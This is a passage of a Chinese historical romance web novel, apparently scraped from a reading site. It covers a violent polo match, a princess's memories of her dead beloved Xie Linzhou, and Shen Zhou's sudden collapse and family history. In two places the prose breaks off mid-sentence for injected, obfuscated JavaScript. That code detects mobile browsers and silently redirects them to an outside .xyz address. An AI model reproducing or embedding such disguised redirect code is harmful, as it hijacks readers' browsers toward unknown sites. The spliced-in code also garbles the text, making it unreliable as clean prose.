少顷,几步之遥的距离,他竟真挥杆劈来!那球杆在裴序手里宛若刀剑,挥动时带着一股凛冽的戾气,沈骤慌乱闪避,却还是被击中了手臂,只听他捂住胳膊痛叫一声,夹着马腹仓皇逃开。 谁料裴序没有罢手,又气势汹汹地追了上去。 场上情形一时混乱,看台诸位皆是惊了,场上其余人更是愣在原地,就见裴序疯了似的追着沈骤打,那球杆被他甩出了残影,沈骤在马背上吱哇乱叫,只有挨打的份。 李繁宁攥着帕子的手捏紧,唇瓣也跟着抿起,面上不掩担忧之色,她知道裴序想要试探什么。 下一瞬,眼看沈骤就要掉下马去,又被裴序一杆子戳了回去。 裴序的力道拿捏得正好,戳得沈骤生疼,却又不至于让他摔马,不知道还以为裴序是拿他寻开心。 沈骤终于忍无可忍,在接下他最后一杆子时嚷道:“喂!你有完没完?你们长安的贵人,都是这么打马球的?” 裴序手头力道加重,压得沈骤拦在跟前的那根球杆都要变形了,他沉声道:“出手。” “出什么手?裴都尉,你要我跟你打啊?你行行好,看我哪里像是能与你交手的?”沈骤手腕隐隐作痛,他吃力道:“你要是真手痒,改日,改日让家父陪你过过瘾如何?” “出手!” 裴序眸色愈沉,他倏地一转球杆,压在沈骤手腕上的力道消失,但紧接着,不及他缓口气,那球杆便迎面扫了过来! 这一击他显然没有收力,沈骤着急忙慌去拉缰绳,谁料扯错了方向,那马儿一个甩头,不仅没躲开,反而直直迎了上去。 只听沈骤闷哼一声,那一下干脆利落,摔了个四脚朝天。 不知是天命还是人为,一切正如沈琅计划的那样,但在这时,意外发生了。 两马相撞,只闻一声鸣啼,裴序那匹马似是受了惊吓,刹步时马蹄高高抬起,眼看着就要落在沈骤脸上。 看台一阵惊呼。 裴序□□那马被典厩署养得油光水滑,看这体格,把一个大活人踩死不在话下。 这突如其来的变故令人乍舌,看台上传来了齐齐的抽气声,年轻姑娘们不敢看,更是闭上了眼睛。 空气似都凝滞住了。 李繁宁噌地从座上站起来,就连延德帝也抓紧了座椅扶手,神色峻肃。 但下一刻,裴序猛地拽住缰绳,硬生生将那失控的马调转了个方向。 马蹄在沈骤头顶上方落下,沈骤死里逃生,捡回了一条命。 李繁宁肩颈一松,悬起的心落了下去。 皇后生辰险些闹出人命,周遭声音杂乱,唏嘘不已。那边萧贵妃也捂着心口怪责道:“这裴都尉……” 旁边的延徳帝却没有出声,他面上看不出情绪,视线久久落在马球场上,半响道:“摆驾吧。” - 离开曲荷园,皇宫的跸道严肃又安静。移驾的路上,延德帝一言不发,把这种无声衬得更加沉重。 平日陈錺还能扯几句闲话,但眼下他亦是沉默,主仆二人回到紫宸殿,面上皆是凝重之色。 宫殿里老太监擦拭着花瓶,见主子回了,便命人将备好的汤茶奉上。 往常都是陈錺侍奉用茶的,但今日他顾不上殷勤,憋了一路,延德帝刚一落座,他就颤声道:“圣上,这个人,他实在、实在是……” 太像,太像了。 延徳帝眉头微沉,道:“去查。” “诶、奴才这就去!”似乎就在等这一句,陈錺得了吩咐,迫不及待退了下去。 宫殿里又静了。 老太监把揭开茶盖,飘出一阵凝神静气的清香。 延德帝没动,盯着那上头漂浮的茶叶看了许久,才说:“当年,那孩子的马术,是朕亲自教的。” 老太监叫吕成顺,打小就侍奉延德帝,要说这宫里,没有人比他更了解皇帝。 若不是前两年不慎从台阶跌下摔坏了脚,轮不到陈錺到御前伴驾。 听皇帝这回忆旧人的口吻,便知他心里不好受,吕成顺道:“老奴记得,谢大公子学得快,圣上每回教他骑马,都高兴。” “他打小就聪明,学什么像什么,谁做他的老师都高兴。” 延德帝说罢,捏了捏鼻梁长叹一口气:“刚才裴序下手不轻,叫个太医——” 他停顿须臾,语气里少了念旧的温情,“给沈氏子瞧瞧。” 另一边,沈骤已经扶着腚从太医院出来了。 与此同时,有个圆润的男子被架着抬了进去。他脑袋上缠了一圈布袋,依稀可见血迹。 两拨人擦身而过,沈骤回头瞥了眼,沈琅搀着他,低声说:“我见过这人,他方才姗姗来迟,刚在看台上坐下没多久,你一出场他就晕过去了,也是个怪人。” 沈骤拖着语调道:“兴许我身上真有什么邪灵附体吧。” 这人还有玩笑的心思,沈琅恨恨道:“要不是裴都尉力气大,你就死马球场上了。” 沈骤却恹恹地说:“要不是他我至于上场挨打吗?” 沈琅笃定道:“定是你先得罪人家了!别想否认,你得罪的人还少吗,以前让人打上门来,你却连人家名字都不记得的事也不是没有过。” “那回我是路见不平,那人青天白日调戏女子,我不得出手教训教训?” “然后你教训完了就与那女子去天香阁喝酒了?”沈琅讥讽他,“喝花酒就喝花酒,抢女人就抢女人,别把自己说得那么高雅脱俗。” 沈骤啧了声道:“那是人家感激我才请我喝酒,你这人怎么这么狭隘?” “我狭隘?”沈琅几乎要跳起来,但又不好把沈骤一个伤患推开,只好强忍怒气道:“要不是你惹是生非,我至于每回出门都担惊受怕?” “那是你胆子小。” “那个……”见这兄弟俩你一句我一句吵得不可开交,宋不群在一旁等了又等,见缝插针道:“其实,我知道沈兄如何得罪裴都尉的。” 沈琅回怼沈骤的话都在嘴边了,闻言一噎,“什么?” 宋不群说:“方才在看台上我打听出些眉目,诶,你们知道六公主为何对沈兄青睐有加吗?”
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“可不是没根据的消息,你以为他就只针对你?”宋不群摇头说:“公主府上那几个幕僚和你一样,也没少遭罪。听说之前公主与一幕僚游街,裴都尉正巧撞见,趁那幕僚落单,一脚把人踹下了水。后来公主赶到,两人还大吵了一架呢。诸如此类的事不止一桩,所以他们说后来公主府上那些人,瞧见裴都尉就绕道走,都不敢搭腔。” 宋不群拍了拍沈骤的肩,道:“你也算倒霉了,谁让公主看上你了呢,还要你做驸马,难怪裴都尉看不惯你。” 沈琅闻言感慨道:“那他方才对你还算手下留情了,没真把你踩死在马蹄下。” 沈骤扯了扯唇,道:“哦,那我还得谢谢他。” 话音甫落,宫道对面陡然出现一个人影。 那不是裴序是谁?! 三人皆是一怔,忙让到一旁。 沈琅轻轻咳嗽一声,低声说:“老天都给你机会,你去谢吧。” 沈骤懒得理他。 那边裴序抬脚迈过门槛时亦顿了顿,他盯着沈骤的眼神还是那样冷冰冰,但终归是没有再找他的麻烦,径直越过了他们。 沈琅猛松了口气,“吓死我,刚才看他那样,我以为他还要揍你。” 沈骤回头看了看那人背影,眸中有瞬间起了波澜,但很快,他又转过身龇牙咧嘴地说:“快走吧,疼死我了。” 宫宴并未结束,宋不群将兄弟俩送到宫门口便又回去了。 承天门外车马骈阗,沈家的马车也等在外头。此前沈骤怕马车太多不好找,还让小厮在车上悬了个红灯笼,乍一看又丑又打眼。 沈琅本是嫌弃得很,这下却觉得还挺有用。 原本以为宫里繁华有趣,没想到竟是这般危险,沈琅犹如看到救命稻草一般,拉着沈骤就往马车那边去。 却在这时,后头传来一道侍女的声音: “两位公子留步,盛安公主请二位到府上,叙叙旧。” 6.第五章 公主府正门高大宏伟,梁柱都涂以金漆彩绘,威严中尽显富丽。这宅邸显然已经超过了一个公主应有的规制,但这就是李繁宁与旁人的不同之处。 至少看得出,延德帝对她的宠溺绝非一般。 沈琅不由暗自惊叹,对盛安公主这四个字有了更深的认知。他这下才反应过来,沈骤从了公主得罪的是裴序,可若是不从,问题似乎更严峻。 万一惹恼公主,挨打的可就不是沈骤一个人了。 沈琅后知后觉,转头急哄哄想与沈骤说些什么,但碍于前后皆有侍女在旁,不好乍然出声,他动了动唇,只好把话咽了下去。 兄弟俩一路无言。 到了前厅,青雘道:“烦请沈二公子在此稍坐片刻,公主在后院等着大公子,大公子请随奴婢来。” 啊,沈琅担忧地看向沈骤,沈骤也作出迟疑的样子,道:“我那个……摔伤了腰,强忍一路实在受不住了,要不还是让我家小弟扶我同去吧。” 沈琅忙点头道:“对对,我扶他吧,他矫情得很,别让公主等久了。” 要是沈骤嘴上没个把门再说错了话,有他在旁,说不定还能圆上一圆。 再不济,也能替沈骤把尸体扛回家吧。 谁料这侍女强硬得很,“大公子实在走不了,奴婢让人备轿。” 她说罢便要吩咐下去,沈骤忙说:“呃不用不用,我还勉强能走……” 青雘颔首,这才做了个请的姿势。 沈骤只好移步。 比之前院的富丽堂皇,后院的景致则大为不同,更多以山水为主,假山环绕,古木参天,曲廊贯穿全园,从漏窗能看到远处错落有致的亭台。 只是这样的美景,却莫名显得孤冷。 沈骤扶着腰,一瘸一拐道:“敢问姑娘,盛安公主宣见在下,是……有什么要紧事?” 青雘看他一眼,道:“公子去了便知。” “哦……”沈骤讪讪一笑,侧目巡视一圈,又问:“这园子里好像没什么人?怪安静的。” 青雘说话时不住打量他,“公主喜静,园子东边是公主起居之处,平日少有人走动。” “这样啊。”沈骤又说:“那实在太可惜了,这么大一座园子空着多浪费,人多才热闹嘛。不过你们府上的花匠手艺不错,这春兰对温度和水分要求甚高,花期不长,眼下都暮春了还开得这样好,想来是费了心思的。” 青雘不由问:“沈公子对花草很有研究么?” “一般一般。”沈骤嘿嘿一笑,“我们扬州有个牡丹姑娘,那栽花的手艺可是一绝,我曾重金聘她打理过沈宅的花卉,可惜后来手头紧,她便去别家了。欸,你们公主府缺花匠么?” “不缺。”青雘蹙了下眉,态度略微冷淡。 方才没注意,现在听起来,他的声音与那位也不大一样。 谢临舟的声音像他的人,意气而不张扬,带着少年人缱绻的温柔,一言一语沁人心脾,而沈骤与之相比,嗓音要略低一些。 说话也没什么气质,正如他整体给人的感觉,那是一种……世俗的普通。 和长安城所有碌碌无为的公子哥一样,平淡无奇。 怎么会有人能顶着这张脸,呈现出全然相反的韵味。 青雘不语,陷入沉思。 穿过垂拱门便是公主居住的宅院,两人走近,沈骤才看到有个年轻男子跪在门外。 他穿了身蓝白相间的澜袍,高高束起的马尾和笔直的背影,像极了某个人。 沈骤的视线从他身上掠过。 见青雘来,那人便青雘姑娘青雘姑娘地叫着,青雘却看也不看他一眼,径直领着沈骤进了院子。 待走远了,沈骤才问:“那人是?” “无关紧要的人。”青雘道:“他原是公主府上的幕僚,不过前些天侍奉公主时摔碎了一个茶盏,惹得公主很是不快,便给了银子要将他遣出府去,谁料他不肯,已经在这跪了好几日了。” 这其中原因定不是一个茶盏能解释的,沈骤没有再问。 青雘却侧目看他,继续道:“沈公子不好奇公主因何会为了一个茶盏发火么?” 沈骤恭维道:“公主行事,定是有她的道理。” “那本是一只再普通不过的茶盏,但那人摔碎之后吓破了胆,当即就跪下来求饶。” 青雘看着沈骤说:“公主不喜欢他们战战兢兢。” 这个“他们”,指的是那些长得像谢临舟的人。 而战战兢兢,就不像他了。 青雘想看沈骤的反应,他却只是恍然大悟道:“的确,侍奉在盛安公主身边,没点稳重可不行。公主这般尊贵之人,哪怕是底下人,也必定是要求甚高的。” 青雘眼里闪过一丝失望,朝沈骤福了福身说:“公子在此稍候,奴婢去请公主来。” 沈骤笑盈盈地目送她离开。 四下无人,沈骤笑意微敛,但仍旧是那副吊儿郎当的模样。他随意踱了几步,拎着腰间的玉佩,有一搭没一搭地参观起这间厅堂的陈设。 好像真是来做客的。 这间花厅看起来像是个书室,南北两侧窗牖大开,当中并了两张长桌,桌上凌乱地摆放着笔墨和颜料,砚台下压着一沓画稿,被风吹起时飒飒地响。 可以想象,此间主人坐在这里写字作画的样子。 沈骤停顿片刻,很快转开视线,他从架子上胡乱摸了个白玉虎的摆件,收手时袖口拂过旁边的卷轴,只听“啪嗒”一声,几个卷轴从案上滚落,其中一卷松了绑绳,直挺挺地摊在了地上。 沈骤退开一步,倏地怔住。 那是幅画卷,画上的人是…… 他自己。 明明是同一张脸,画上的少年骑在马上,蓝白相间的衣袍在风中张扬,脸上的神情却端方温润,连眉眼的锋芒都像无尘的风。沈骤心上刺了一下,还没来得及动作,就听“喵呜”一声,一只长毛白猫窜到沈骤脚边,他回过神,见李繁宁迈进了花厅。 沈骤忙拱手行礼,“鄙人参见公主。” 李繁宁看了眼地上,沈骤赶忙弯腰要去捡画轴,“公主恕罪,我不是有意——” 沈骤正将画轴挨个收起,见李繁宁蹲下身,他忙缩回手,不敢碰到她分毫。 李繁宁似乎已经平复了情绪,不像适才在宫里那样激动,她捡起那幅画,视线慢慢从画上移到他身上。 她看他的眼神有点像宫里那些人,专注又直白,但却少了那些人看他时的压迫感。 那当中没有审视,也没有试探。 她在看故人。 少时弘文馆有先生为皇子公主授课,谢临舟作为三皇子的伴读,也在授课的学生当中。 本朝民风开放,男女席位虽分隔两边,但中间只悬着几条摆设用的珠帘,完全挡不住少女们频频越过的视线。 李繁宁与谢临舟隔着那道珠帘,在他斜后方的位置,每每抬眼,就能看到他一半的侧脸。 那轮廓是真好看,玉石般温和流畅,鼻骨一侧有颗很淡很小的痣,又给这种温和添了几分诱人的绮丽。 让人总忍不住要往那里看。 但也只能是看看。 关于谢临舟的一切,李繁宁从来都是远观静看。 看他周遭人来人往,万人簇拥,看他与同窗说趣,又扶额低笑,日光透过窗纸细细碎碎落在他脸上,照得他整个人熠熠生辉。 李繁宁看得失神,撞上他偶然转过来的目光时总是仓皇而逃。 一日下学后,她在永寿宫的角落画了这幅画。 这样娴熟的笔触,显然不是她第一次画谢临舟了,平日心烦时她便喜欢描摹他的样子,手上的笔仿佛都生成了自己的习惯,以至于等她回过神来时,画上的少年已经栩栩如生。 只有这个时候她才敢久久注视他。 风把墨迹吹干,她抬指触碰画上的少年,动作轻柔,神情却惘然。 那阵子她听说皇后常召谢临舟进宫,有意替他与姜五娘做媒。 姜家嫡亲的女儿,身份贵重自不必说,难得的是才情在一众女子中也相当出众,此等佳人,的确配得上这样惊才绝艳的少年。 至于别人,都只能是妄想。 刚过及笄之年的少女,情窦初开,却是触手难及。 她耷着眉眼心事重重,连有人走近都没有发现。 “这是……我吗?” 李繁宁吓了一跳,噌地起身看到了来人,慌乱间还不忘压住那张画像。 她道:“你、谢公子怎么来了?” “三皇子来给太后请安,听说太后想与我说说话,便叫我一道来了。”谢临舟看一眼被她压住的画像,并不追问,只说:“吓到你了?抱歉,是我唐突了。” 李繁宁摇头,根本不敢看他,“……你是走错了吗?从那条路出去,就能看到出永寿宫的门。” 仿佛是在赶他走,好像总是这样,她每一次见他都如临大敌。谢临舟无奈失笑,李繁宁这才发现他手里拿着一卷经文和一沓纸……太后似乎很喜欢谢临舟,近来更是常常叫他到跟前说话。 看这样子,他大概是要替太后抄经。 李繁宁便明白了,她窘迫地将桌上的笔墨纸砚收纳起来,让出了半边石案给他。 谢临舟道了声谢,“可否借公主笔墨一用?” 李繁宁又慌张地递上一支笔。 谢临舟坐下了,认认真真抄起了经文,他袖口卷起半边,露出的手腕连着若隐若现的青筋,衬得指节修长又有力量,那支笔被捏在这样的手心里,李繁宁耳根莫名发起烫。 她当即想走,就听谢临舟道:“临近科考,恐怕很久不能来给太后请安了,今日多抄两卷经文,过后劳烦公主替我呈给太后。” 李繁宁怔了怔,忙点下头。 而后又忽然想起什么,她犹豫道:“你……是不是之后就不再去弘文馆了?” 谢临舟一笑,“若是高中的话,兴许是吧。” 必定是了,翰林院怎么可能放他在弘文馆蹉跎时间。 李繁宁紧接着问:“那,你会高中吗?” 谢临舟如今才十八,本朝以来还没有这个年纪就能登榜入仕之人,若是有,必定震惊朝野,受万人追捧。 虽然,他本就如此。 这一切对谢临舟而言,都不过锦上添花而已。 谢临舟笔锋一顿,问:“公主希望我高中吗?” “当然。”李繁宁脱口而出,又尴尬地抿了下唇,她低声找补道:“你若高中,姜五娘会很高兴,她……人很好。” 谢临舟撂下笔,仰头看她:“这与姜五娘有何干系?” “你们……”李繁宁动了动唇,不好再问下去。 “没有。”谢临舟直截了当地说:“旁人乱传,六公主也信吗?” 没有么? 李繁宁一怔,抬眸时眼里顿时有了神采。 她无意表露心迹,但情窦初开的少女,即便控制住了嘴角,雀跃也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343444|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会从眉眼溢出。 “我当然没有信……我也是胡乱说的。” 谢临舟唇畔轻轻弯了下,重新拿起笔说:“原来六公主也编排我。” “我没有。”李繁宁连忙否认,小声道:“没有编排你。” “没有没有,跟你说笑的。”见她着急,谢临舟又这样说。 李繁宁却更窘迫了。 一时间她像被定住一样,坐又坐不得,走又走不掉,就这样直愣愣站在谢临舟面前,影子落在他的佛经上。 他又抬首,“公主不继续画吗?” 果然、他果然看到了。 李繁宁脸上的红晕当即蔓延到脖颈,但更多是心慌,怎么办,如何解释好…… 然而不等她找到借口,对面的少年便说:“我听说六公主近来都在吴待诏门下勤练画技,吴待诏早前是翰林图画院的画师,精于丹青,画人更是一绝。” 李繁宁愣了一下,磕巴道:“对,我的确、的确是在精进人物画,吴待诏教学严苛,我不敢松懈,打算把弘文馆所有人的小像都画一份交给吴待诏审阅……” 她越说声越心虚,画稿都被自己攥得皱巴巴。 这么假的说辞,谢临舟却好像信了,他笑着道:“的确是个好主意,吴待诏在弘文馆当讲师,对诸位同窗十分了解,也能更容易比照公主的画稿发现不足,那公主继续吧。” 他的眼神过于坦然,李繁宁不得不重新坐了下来。 但却不好再掏出那张画稿,她只得扯了张白纸,心慌意乱,迟迟落不下笔。 谢临舟看了眼,只是无声地笑了。 李繁宁回过神,便明白他不过是在替自己解围。 她当然知道,这是属于谢临舟骨子里的教养。 他就是一个很好很好的人啊…… 李繁宁屏住呼吸,手里的笔被捏得紧实,呆了半响,她小心翼翼拿出那张画稿,略思忖了一瞬,便握笔补足了剩下几笔。这么近的距离,她每一笔都像做贼,却又强装镇定。 末了,她把画像轻轻往他那边一推。 “我没什么好东西可送。”她拘谨地说:“这个就当是我给谢公子的结业礼。” 同窗数载,这份礼送的也是合乎情理。 谢临舟的视线落在那上面,简直就像在照镜子一样,但画里的人远比镜子里要生动,生动到令他有些恍惚。 画像左上角题了一行小字,字如其人,秀美温婉—— 她脸颊又泛起了红,说话时神情却格外认真,她说:“科考在即,我祝谢公子,金榜题名,前程锦绣。” …… 金榜题名,前程锦绣。 后来他的确登榜入仕,却没有换来锦绣前程。 “你……”面前的人和记忆里的人模糊重叠,李繁宁的情绪又翻涌起来。这三年来她无数次梦见谢临舟,可梦里的谢临舟听不到她说话,她曾幻想过如果他没死,如果他能忽然出现在自己面前,她有好多话想要问。 问他为什么不理她? 为什么不回来,为什么…… “你这些年,过得好吗?” 少顷,李繁宁只是这样轻声问。 语气小心翼翼,仿佛怕惊了面前的人。 沈骤顿了顿,道:“回公主的话,沈某虽只是家中庶子,但父亲待我很好,不曾亏待于我。” 李繁宁深吸一口气,把泪意强行压下去,“我如今、和以前不一样了,我可以帮你,你想要什么我都能给你。” 沈骤扬起一抹尴尬又谨慎的笑,他把手上的画稿和白玉虎摆件放回架子上,说:“沈某只是见公主那白玉袖珍精致,一时好奇才拿起来看看,不敢奢求公主爱物,弄脏了这些物件,还请公主恕罪。” “谢临舟。”李繁宁哑声道:“你不信我吗?” 是不信她,才不敢认她吗? 沈骤忽略掉胸口的疼痛,他为难地说:“公主,我对……那位谢公子也有所耳闻,但人死不能复生,即便再像,终归也不是那个人,还望公主节哀。” “节哀……”李繁宁笑了下,带着强忍不住的哽咽,她并不想哭的,“谢临舟,我认得出你。” …… 从公主府出来的一路沈骤皆默不作声,沈琅却像解除了封印,上了马车后便絮絮叨叨个不停:“你有没有觉得公主府里怪怪的?花鸟鱼虫,有山有水,但就是,怪压抑的。我在前厅坐着,气都喘不匀,旁边的侍女还问了我好些问题,问爹娘,问家里,跟审犯人似的……就算你像那个谢、谢什么的,难不成还真怀疑他诈尸还魂附到你身上啊?” 沈骤仍旧不言。 沈琅当他还没从惊吓中清醒,兀自道:“不过话说回来,究竟是什么神仙人物,能得公主如此惦记?连长得相似都惹她如此伤心,方才在宫里她哭成那样,可把我吓坏了,还以为你摊上什么大麻烦呢。” 说到这里,他也愈发好奇地打量沈骤,“诶,你说你究竟跟他是有多像?也不知这是好事还是坏事,沈骤啊沈骤,万一有天你飞黄腾达了——” 沈琅正说着话,那边沈骤面无表情地摁住胸口,微一蹙眉,猛地喷出一口血来。 沈琅的声音戛然而止。 他眼睛都吓直了,好一会儿才扶住面前的人,颤声道:“喂……你你你别吓我啊,沈骤?沈骤!” 沈骤眼尾潮湿,已然倒了下去。 沈琅一把掀开马车门帘,急声道:“快、快回驿站!不对,先去仁心馆,把榆娘请来!” 7.第六章 不多久,沈泊易也从宫里赶了回来。 一家三口齐齐等在房门外,沈琅面如灰土,吓得不轻,一五一十把事情经过说了,声线都在发抖,“本来还好好的,突然就……娘,他、他不会死了吧?他方才吐了血,整张脸都是白的,他会不会……” “不会不会。”沈琅已经吓到语无伦次了,钟氏心疼道:“再说这与你何干,他自己身子不好,我早就说了,扬州距长安路途遥远,你爹非要带着他!这下好了吧!” 钟氏说罢剜了沈泊易一眼,又道:“眼下他在宫里闹出这么大动静,也不知会不会影响你的调任。” 沈泊易面上焦灼,揉了揉眉头道:“你少说两句吧。” “我少说两句这事就当没发生?”钟氏愁道:“这回举家北上,整个扬州城都知道你要进兵部,要是就这么收拾包袱回去,岂不是让人笑话?” 沈泊易此次拖家带口入长安,正是因兵部侍郎一职空悬,朝廷有意调他顶上。 虽说兵部侍郎与地方都知兵马使品阶上相差不大,且掌一方兵马听上去还更威风霸气些,可地方官哪有好当的,沈家也就是看着体面,这两年天灾不断,上面拨下的银子连赈灾都不够,就别说养着庞大一个军队了,沈泊易身为军队统领,还得自己掏家底补贴。 最要紧的是,年前节度使换了人,那位有自己的亲信部下,长久下去,只怕这个兵马使的位置也坐不稳,一个不慎,卷入兵权争斗里,说不准连小命都保不住。 这等境地下,兵部的调任可谓天降良机,躲险不说,天子脚下到处都是达官显贵,沈家若能入长安,来日就连沈琅都能飞黄腾达! 只是经沈骤这么一折腾,本就还没板上钉钉的事,只怕更悬了。 想到这里,钟氏就伤心,不免又哭骂道:“真是个孽障——” “好了!”沈泊易厉声喝道:“少说两句吧!” “你凶我做什么?”钟氏更委屈,“你就只知道护这孽障?不知道的还以为琅儿不是你的儿子呢,你从方才进门,可有关心他半句?!哎哟,我真是命苦啊!想当初,我嫁你时你不过是个一穷二白的穷武夫……” “你、唉!” 沈琅脑瓜子嗡嗡,听他二人吵嘴,脸色愈发不好。 从沈琅有记忆起,家里总是鸡飞狗跳。钟氏三天两头就要与沈泊易大闹一场,话里无非是谴责沈泊易丧尽天良,在外头养了外室,还生了野种,说他如今日子稍微体面,便要抛弃糟糠之妻。 沈泊易起初还解释,后来干脆由着钟氏骂,待她骂累了也就清静了。 所以沈琅自小就知道他爹在外头还有个儿子,只是不知姓名,不知年岁,只频频听钟氏提起“那个野种”,但这传闻中的野种从未有人见过。即便钟氏成日以泪洗面,把家丑闹得满城皆知,也从未有人真正见过这个外室子。 受钟氏影响,沈琅打小对外面那家子恨得牙痒痒,可惜沈泊易把人藏得太严实,钟氏想方设法十余年都没找到人,沈琅更是黔驴技巧,他一度怀疑或许根本就没这事。 直到三年前,沈泊易频繁外出,有时甚至夜不归宿,沈琅蹲了他足足半年,才终于找到城郊的一处宅邸。 那宅子临着湖畔,外面看着简陋,里头却精巧,一看就是常有人费心打理。 沈琅愈发笃定,这就是他爹藏匿外室的地方。 但沈琅绕了一圈,宅子里空荡荡的,别说那勾引他爹的狐狸精,就连下人都没有一个。 直到他找到湖边,才看到一个瘦弱的年轻男子。 那是沈琅第一次见到沈骤,他身披大氅盯着湖面,神思平静得宛如一滩死水,浑身上下没有一点活气,唯一就是那张脸……沈琅迟疑了,这人生得好出挑,不像是他爹能生出的模样。 难道他找错了? 但很快,沈琅便看到他爹的部下从屋里走出来,对那人毕恭毕敬,还一口一个公子的叫着! 沈琅当下抛开疑虑,他冲上前,一把揪住那人的衣领道:“就是你!好啊,终于让我逮着了——” 那部下吓了一跳,赶忙要拦他,“小公子不可!快松手!” 沈琅也不知哪里来的蛮力,把那部下推开,对着面前人挥拳道:“就是你这个野种想认祖归宗,你做梦!” 其实沈琅当日就是一时气昏了头,也没想把沈骤如何,谁料他这么不抗打,一拳过去站都站不稳,自己就掉进湖里了。 深冬的湖面结了层薄冰,沈琅被那破冰的声音惊着,转头又见那部下也跟着跳下去,心里不由一慌。 沈骤被捞上来的时候面白如纸,沈琅用手指都探不到他的气息,他以为沈骤死了,一屁股跌在了地上。之后沈泊易赶到,沈琅从未见他爹那样紧张过,便知自己闯了大祸。 以往沈琅犯错,沈泊易都是家法伺候,那次沈琅自觉,自己就回去祠堂跪下了,可跪了两三天,不仅没有等到板子落下,就连沈泊易的人影都没有见到。 后来沈琅才知道,他那一拳差点要了沈骤的命,几个大夫轮流守了一个月,才生生将他从鬼门关里拉了回来。沈泊易更是守在他床边,别说家了,连官署都没去过。 这件事后没多久,沈骤就被沈泊易带回了沈家。 事情这才逐渐明朗,原来那外室与沈泊易是旧相好,早在钟氏之前便有了孩子,沈泊易自称早前并不知,是在与钟氏成婚数年后,那女人才带着孩子找上门。 沈泊易自然不能不理,便只好一直养在外宅。 如今那女人死了,沈泊易便想将沈骤养在钟氏膝下,也做个嫡子,可钟氏怎么可能答应,这孩子就是一根刺,扎在她心头十余年了,别说养在膝下,就是养在别院她都不肯! 然而沈泊易并不与她商量,是铁了心要把沈骤留在沈家。两人闹了个把月,沈骤就已经在别院住下了。 以庶子的名号。 他自己并不介意,还反过来劝慰沈泊易。不过在沈琅眼里,这厮就是得了便宜还卖乖,一个没名没分的外室子能登堂入室,已经是他祖上积德了。 后来的日子,沈琅对沈骤的厌恶不比钟氏少,尤其在两人朝夕相处之后。 一来是沈骤性子贱兮兮的讨打,二来是沈琅发现他爹心眼都偏歪了。同样是不争气的儿子,沈泊易对沈琅要求甚高,他打小也没少挨打受罚,可沈骤呢,成日游手好闲惹是生非,沈泊易却待他温和可亲。 两人一起惹出的麻烦,沈泊易更是只责骂沈琅。 沈琅自是吃味,从此更恨沈骤。 可自打那回意外落水后沈骤身子就不大好,平日看着没什么大碍,但寻常人三五日就能养好的小病小灾,在他身上就格外慢一些,尤其到冬日,他总是更容易病倒。 说到底,沈骤身子不好,与沈琅也脱不了干系。沈琅虽嘴上不说,但心里对他有愧,否则这两年也不会一边嫌弃他一边帮他收拾烂摊子。 方才沈骤那一吐血,沈琅不免又想到他落水的样子…… 心下更是惶惶。 那边钟氏还在没完没了地数落沈泊易,沈琅心烦意乱,无力道:“娘,别说了……” “吱呀”一声,房门被推开。 钟氏的骂声也跟着一顿,她变脸似的收回哭腔,急忙忙上前问:“榆娘,他怎么样了?” 被唤作榆娘的年轻女子挎着药箱,一袭白裙雅韵天成,她看着不过二十出头,但气质沉稳,言语间令人信服,“没有大碍,施了针正睡着。” 沈琅忙追问:“他究竟怎么了?难道是摔马摔出内伤了?可他出宫的一路都还好好的啊。” 榆娘停顿须臾,道:“想来是受惊过度所致。” “只是如此?这么不经吓……”沈琅嘟囔了句。 钟氏也松了口气,扯了扯帕子道:“没有大碍就好,净让人操心。榆娘,我家这庶子又劳烦你了。” “不麻烦,我回头让人把药送来。”榆娘说罢瞧了钟氏一眼,浅笑了笑,道:“夫人这几日可是没睡好?脸色略有些暗沉,想来是水土不服所致,我叫人一并抓了药送来。” 钟氏笑起来,总算舒坦道:“那自然好,还是榆娘贴心。” 榆娘屈了屈身,很快就颔首告辞。 知晓沈骤没有大碍,几人都放下心来。钟氏看着榆娘的背影,忍不住又叹了声气。 榆娘原是扬州城出了名的妙手神医,年纪轻轻一手医术,可如今这个年月女子行医虽闲话少了,但抛头露面到底不雅,尤其榆娘还生了副顶好的皮囊,这样的姿色更惹是非,后宅里的妇人没少嚼她舌根。 钟氏多年前曾受她医治,自觉与她投缘,不忍见她在扬州行医处处受阻,便将她请到府上做了个府医。 榆娘也没有辜负钟氏的好心,几年的精心调理,竟将她那些妇人难以启齿的陈年旧疾给治好了。 这时日长了,钟氏看她愈发顺眼,又见她气质出众,想来从前也是大户人家出身,便想让沈琅将她收作妾室,可八字一合,榆娘大了沈琅三岁,命里犯冲,钟氏只好作罢,却又萌生出另一个念头。 儿媳做不成,收个义女也不错。 但偏偏这两年榆娘在沈府,除了给钟氏调养身子,还给沈骤看诊。 眼看这两人往来频繁,钟氏又只好打消了想法。 别到时多此一举,身份再尴尬了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349781|183216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可沈骤这混小子,两年来迟迟没有动静,显然只是吊着榆娘,苦了榆娘真心错付,他一有个头疼脑热,便又是送汤又是送药,当真是犯傻。 终于半年前,榆娘决心离开扬州,去长安开个医馆替人看诊。 临走前她特来向钟氏辞行,钟氏当她是情伤所致,心里暗骂沈骤不长眼,却也替榆娘高兴。 这女人啊,年轻貌美时可不要在一棵树上吊死,以免像她似的,到了人老珠黄,后悔都来不及。 